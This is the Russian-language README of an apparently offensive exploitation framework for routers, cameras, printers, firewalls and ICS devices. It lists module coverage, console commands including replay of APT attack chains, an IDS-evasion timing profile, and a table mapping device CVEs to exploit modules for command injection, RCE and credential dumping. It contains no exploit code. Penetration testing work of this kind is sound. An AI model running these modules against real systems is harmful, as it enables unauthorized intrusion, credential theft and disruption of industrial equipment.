[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)
tools/phase_gate.py гарантирует, что каждый модуль проходит проверки импорта, защиты от ложных срабатываний, ссылок и качества кода перед слиянием| Тип | Покрытие | Описание |
|---|
| Роутеры / GPON ONT / CPE | 580+ модулей | SOHO-роутеры, корпоративные шлюзы, GPON CPE/ONT (основной фокус) |
| IP-камеры / NVR / DVR | 60+ модулей | Hikvision, Dahua, Axis, Reolink, Amcrest, Uniview, Tapo, Swann, ANNKE, Edimax, Intelbras, Grandstream, Foscam, Xiongmai OEM, MVPower и ещё 20+ |
| Принтеры / МФУ | 185+ модулей | HP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; цепочки IPP/PJL/LPD/WSD/CUPS |
| NAS (сетевое хранилище) | 20+ модулей | QNAP, Synology, D-Link NAS, Zyxel NAS |
| VPN / межсетевые экраны / NGFW | 202 модуля | Palo Alto, Fortinet, Cisco ASA/FTD/FMC, Check Point, Juniper, SonicWall, Sophos, WatchGuard, Zyxel, F5 BIG-IP, Citrix/NetScaler, Ivanti, Pulse Secure, pfSense, OPNsense, Barracuda, Imperva, MikroTik, Huawei USG, Stormshield, Hillstone, Sangfor, H3C, Radware, Symantec ProxySG, Trend Micro TippingPoint, Trellix, Arista EOS, OpenVPN AS, Phoenix Contact mGuard, Siemens SCALANCE, Moxa EDR, VyOS, IPFire, Kerio, Cisco Meraki, Array Networks + модули обхода протоколов OT/ICS |
| Коммутаторы L2/L3 | 3 модуля | Управляемые коммутаторы (Cisco, D-Link, NETGEAR) |
| SOHO Edge | 9 модулей | Travel-роутеры, NAS, беспроводные точки доступа |
| ICS / OT / промышленные | 35+ модулей | ПЛК, SCADA, Modbus, S7comm, EtherNet/IP, Universal Robots PolyScope 5 |
| Умный дом / морские системы | 10+ модулей | eNet SMART HOME, OpenRemote IoT, морские WIC/DFS Metis |
| Встраиваемые ОС | 25+ модулей | RIOT OS, OpenWrt, VxWorks, QNX, устройства wolfSSL, Tuya Arduino SDK |
| Команда | Описание |
|---|
use <module> | Выбрать модуль |
show options | Показать настраиваемые параметры |
show info | Показать метаданные модуля и ссылки |
show devices | Список поддерживаемых типов устройств |
set <option> <value> | Настроить параметр |
check | Проверить, уязвима ли цель |
run | Запустить модуль |
search <term> | Поиск модулей по ключевому слову |
discover [subnet] [--timing T0-T5] [--fresh] | Сканировать подсеть, определить цели, предложить модули |
sessions list|show|delete|export|purge | Управление историей сканирований для каждого хоста |
apt | Список групп APT с воспроизводимыми цепочками атак |
apt show <group> | Просмотр деталей цепочки атак (MITRE ATT&CK, CVE, модули) |
apt search <device|CVE> | Поиск групп APT, нацеленных на устройство или CVE |
apt run <group> [#] | Выполнить цепочку атак APT (все или конкретную атаку) |
| Профиль | Задержка | Сценарий использования |
|---|
| T0 | paranoid — 300s | Обход IDS |
| T1 | sneaky — 15s | Тихий аудит |
| T2 | polite — 2s | Минимальное воздействие |
| T3 | normal — 0.5s | По умолчанию |
| T4 | aggressive — 0.1s | Быстрое сканирование локальной сети |
| T5 | insane — 0s | Только CTF / лаборатория |
| Режим | Порт | Класс / Метод |
|---|
rtsp | 554 | RTSPClient(host, port) |
rtsps | 443/8443 | RTSPClient(host, port, use_tls=True) |
http | 80/8080 | RTSPClient(host, port, tunnel_http=True) |
https | 443/8443 | RTSPClient(host, port, use_tls=True, tunnel_http=True) |
| auto | any | RTSPClient.from_scheme(host, port, "http") |
| Устройство | CVE | Путь модуля | Тип атаки |
|---|
| TP-Link TL-SC3171 / SC4171 / SC4171G | CVE-2013-2573 | exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573 | Инъекция команд (без аутентификации) |
| TP-Link TL-SC3171 / SC3130 | CVE-2013-2581 | exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581 | Загрузка прошивки без аутентификации |
| D-Link DCS-932L | CVE-2026-36983 | exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983 | RCE через датчик освещённости |
| D-Link DCS-932L | CVE-2025-5573 | exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573 | Инъекция команд в панели администратора |
| D-Link DCS-933L | CVE-2026-2218 | exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218 | Инъекция команд в панели администратора |
| ZTE ZXHN H267N / H268N | CVE-2026-34473 | exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473 | Отказ в обслуживании |
| ZTE ZXHN H298A / H108N | CVE-2026-34474 | exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474 | Дамп учётных данных (ETHCheat) |
| Маршрутизаторы Intelbras IWR | - | exploits/routers/intelbras/iwr_luci_rpc_rce | Неаутентифицированный RCE через LuCI RPC |
| Мультивендорный сканер BR ISP | - | scanners/specialized/br_isp_scanner | Активное обнаружение + проверка уязвимостей |
| Code | Meaning |
|---|
0 | Success. The operation completed without errors. |
1 | General error. An unspecified error occurred. |
2 | Invalid arguments. Check the command-line options. |
3 | Network error. Unable to reach the target. |
4 | Permission denied. Insufficient privileges to perform the operation. |
5 | Timeout. The operation exceeded the configured time limit. |